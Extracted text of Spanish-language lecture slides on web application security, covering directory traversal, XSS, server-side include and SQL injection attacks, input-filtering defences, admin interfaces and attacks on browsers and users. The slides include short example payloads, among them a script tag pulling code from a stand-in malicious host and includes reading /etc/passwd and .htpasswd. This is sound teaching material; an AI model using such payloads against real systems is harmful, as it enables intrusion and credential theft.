Validación de Entrada Ataques más comunes Buffer Overflows Análogos a los vistos anteriormente Generalmente se realizan a ciegas Canonización y Directory Trasversal Se basan en la utilización de parámetros de entrada para construir rutas a ficheros A menudo explotan diferencias entre lenguajes de programación /servlet/webacc?user.html=template1 Un script de perl añade.html al parámetro y se lo pasa a open() /servlet/webacc?user.html=../.htpasswd%00 open(), implementada en C, corta la cadena al llegar al %00 Validación de Entrada Inyección de HTML Se utiliza contra aplicaciones que de algún modo publican la información que envía el usuario Foros, blogs, portales de noticias Incrustar HTML arbitrario en la página devuelta Cross-site Scripting (XSS) Incrustar JavaScript malicioso, que afectará a otros usuarios <script src= http://www.malicious-host.foo/badscript.js ></script> Incrustar contenido activo para el servidor <!--#include file= /etc/passwd --> <? Include '/etc/passwd'?> <%= date() %> 38

Validación de Entrada Inyección de SQL Se utiliza contra aplicaciones que utilizan parámetros de entrada para construir peticiones SQL Ejemplo de Aplicación Vulnerable Query String válida login.php?user=user&pass=password Petición SQL resultante SELECT COUNT (ID) FROM UserTable WHERE UserId= user AND Pass= password Ataque de Inyección SQL login.php?user=user%27--&pass=password SELECT COUNT (ID) FROM UserTable WHERE UserId= user -- AND Pass= password Validación de Entrada Mecanismos de Seguridad Filtrar caracteres potencialmente peligrosos Caracteres utilizados para construir paths:. / Caracteres utilizados para incrustar HTML: < > Caracteres utilizados en línea de órdenes: & ; Caracteres empledos en consultas SQL: % Transfomar caracteres en sus equivalentes inofensivos < &lt, > &gt Normalizar las diferentes codificaciones ASCII (%2f), UTF-8 (%co%af), UTF-7 (+ADw-) Validar tanto en el cliente como en el servidor 39

Administración Ataques a la Interfaz de Administración Interfaces de Administración accesibles desde Internet Administración remota del Servidor Telnet, SSH, puertos específicos, VNC... Administración de Contenidos Servidores FTP o SSH/scp Gestores de Contenidos FrontPage Server Extensions WebDAV El Cliente Web Ataques al Cliente Web Ya vimos por qué el cliente web es un blanco atractivo Mucho más numeroso En general desprevenido Posible pasarela para otros ataques Mecanismos de ataque Explotación de vulnerabilidades en el Cliente Web Engaño al usuario (para que revele información o ejecute código) En general encontraremos combinaciones de ambas 40

El Cliente Web Vulnerabilidades del Cliente Web Errores en la implementación Buffer overflows y otras vulnerabilidades en navegadores Mucho más usuales en las extensiones Vulnerabilidades en interpretes de contenidos (e.g. JPG) Diseño controvertido Cruces entre dominios de seguridad Internet Explorer Local Machine Zone Los ejecutables en esta zona se ejecutan con privilegios de usuario Ataques de inyección de código en la LMZ Reutilización de controles ActiveX El Cliente Web Engaño al Usuario Conseguir que descargue y ejecute código malicioso Applets de Java Controles ActiveX Extensiones FireFox Descargas atractivas (e.g. generadores de claves) Phishing Suplantación de aplicaciones web legítimas Objetivo: robo de credenciales Mecanismo habitual: contacto a través de e-mail 41